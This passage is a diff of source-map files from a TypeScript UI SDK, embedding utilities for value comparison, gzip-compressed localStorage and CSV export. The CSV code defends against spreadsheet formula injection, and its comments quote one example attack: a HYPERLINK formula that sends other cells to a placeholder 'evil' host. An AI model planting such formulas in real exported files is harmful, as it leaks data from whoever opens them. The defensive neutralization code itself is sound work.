String(b));\n}\n"],"mappings":";AAQA,IAAM,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgB,EAAc,GAAY,GAAoB;CAO1D,OANI,KAAK,QAAQ,KAAK,OAAa,IAC/B,KAAK,OAAa,KAClB,KAAK,OAAa,IAClB,OAAO,KAAM,YAAY,OAAO,KAAM,WAAiB,IAAI,IAC3D,aAAa,QAAQ,aAAa,OAAa,EAAE,QAAQ,IAAI,EAAE,QAAQ,IACvE,OAAO,KAAM,aAAa,OAAO,KAAM,YAAkB,OAAO,CAAC,IAAI,OAAO,CAAC,IAC1E,EAAc,QAAQ,OAAO,CAAC,GAAG,OAAO,CAAC,CAAC;AACrD"}
1
+ {"version":3,"file":"compare-values.js","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n if (a == null && b == null) return 0;\n if (a == null) return -1;\n if (b == null) return 1;\n if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":";AAQA,IAAMA,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgBC,EAAc,GAAY,GAAoB;CAO1D,OANIC,KAAK,QAAQC,KAAK,OAAa,IAC/BD,KAAK,OAAa,KAClBC,KAAK,OAAa,IAClB,OAAOD,KAAM,YAAY,OAAOC,KAAM,WAAiBD,IAAIC,IAC3DD,aAAa,QAAQC,aAAa,OAAaD,EAAE,QAAQ,IAAIC,EAAE,QAAQ,IACvE,OAAOD,KAAM,aAAa,OAAOC,KAAM,YAAkB,OAAOD,CAAC,IAAI,OAAOC,CAAC,IAC1EH,EAAc,QAAQ,OAAOE,CAAC,GAAG,OAAOC,CAAC,CAAC;AACrD"}
@@ -1 +1 @@
1
- {"version":3,"file":"compressed-storage.cjs","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n const json = JSON.stringify(value);\n const bytes = gzipSync(new TextEncoder().encode(json));\n return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n serialize: compressToString,\n deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"mFA4BA,IAAM,EAAS,SAiBf,SAAgB,EAAoB,EAAkB,CAClD,IAAM,EAAO,KAAK,UAAU,CAAK,EAC3B,GAAA,EAAQ,EAAA,SAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC,EACrD,MAAO,GAAG,IAAS,EAAA,cAAc,CAAK,GAC1C,CAcA,SAAgB,EAAwB,EAAgB,CACpD,GAAI,CAAC,EAAI,WAAW,CAAM,EAAG,OAAO,KAAK,MAAM,CAAG,EAClD,IAAM,GAAA,EAAQ,EAAA,WAAA,CAAW,EAAA,cAAc,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC,CACrD,CASA,IAAa,EAAuC,CAChD,UAAW,EACX,YAAa,CACjB,EAea,EAAiC,EAAA,kBAAkB,CAAsB"}
1
+ {"version":3,"file":"compressed-storage.cjs","names":["gzipSync","bytesToBase64","gunzipSync","base64ToBytes","createJsonStorage","require_storage","require_base64","fflate","MARKER","compressToString","json","value","bytes","decompressFromString","raw","compressedStorageCodec","compressedStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n const json = JSON.stringify(value);\n const bytes = gzipSync(new TextEncoder().encode(json));\n return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n serialize: compressToString,\n deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"A,mFA4BA,IAAMQ,EAAS,SAiBf,SAAgBC,EAAoB,EAAkB,CAClD,IAAMC,EAAO,KAAK,UAAUC,CAAK,EAC3BC,GAAA,EAAQZ,EAAAA,SAAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAOU,CAAI,CAAC,EACrD,MAAO,GAAGF,IAASP,EAAAA,cAAcW,CAAK,GAC1C,CAcA,SAAgBC,EAAwB,EAAgB,CACpD,GAAI,CAACC,EAAI,WAAWN,CAAM,EAAG,OAAO,KAAK,MAAMM,CAAG,EAClD,IAAMF,GAAA,EAAQV,EAAAA,WAAAA,CAAWC,EAAAA,cAAcW,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOF,CAAK,CAAC,CACrD,CASA,IAAaG,EAAuC,CAChD,UAAWN,EACX,YAAaI,CACjB,EAeaG,EAAiCZ,EAAAA,kBAAkBW,CAAsB,E"}
@@ -1 +1 @@
1
- {"version":3,"file":"compressed-storage.js","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n const json = JSON.stringify(value);\n const bytes = gzipSync(new TextEncoder().encode(json));\n return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n serialize: compressToString,\n deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAM,IAAS;AAiBf,SAAgB,EAAoB,GAAkB;CAClD,IAAM,IAAO,KAAK,UAAU,CAAK,GAC3B,IAAQ,EAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC;CACrD,OAAO,GAAG,IAAS,EAAc,CAAK;AAC1C;AAcA,SAAgB,EAAwB,GAAgB;CACpD,IAAI,CAAC,EAAI,WAAW,CAAM,GAAG,OAAO,KAAK,MAAM,CAAG;CAClD,IAAM,IAAQ,EAAW,EAAc,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC;AACrD;AASA,IAAa,IAAuC;CAChD,WAAW;CACX,aAAa;AACjB,GAea,IAAiC,EAAkB,CAAsB"}
1
+ {"version":3,"file":"compressed-storage.js","names":["MARKER","compressToString","json","value","bytes","gzipSync","bytesToBase64","decompressFromString","raw","gunzipSync","base64ToBytes","compressedStorageCodec","compressedStorage","createJsonStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n const json = JSON.stringify(value);\n const bytes = gzipSync(new TextEncoder().encode(json));\n return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n serialize: compressToString,\n deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAMA,IAAS;AAiBf,SAAgBC,EAAoB,GAAkB;CAClD,IAAMC,IAAO,KAAK,UAAUC,CAAK,GAC3BC,IAAQC,EAAS,IAAI,YAAY,CAAC,CAAC,OAAOH,CAAI,CAAC;CACrD,OAAO,GAAGF,IAASM,EAAcF,CAAK;AAC1C;AAcA,SAAgBG,EAAwB,GAAgB;CACpD,IAAI,CAACC,EAAI,WAAWR,CAAM,GAAG,OAAO,KAAK,MAAMQ,CAAG;CAClD,IAAMJ,IAAQK,EAAWC,EAAcF,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOJ,CAAK,CAAC;AACrD;AASA,IAAaO,IAAuC;CAChD,WAAWV;CACX,aAAaM;AACjB,GAeaK,IAAiCC,EAAkBF,CAAsB"}
@@ -1 +1 @@
1
- {"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, 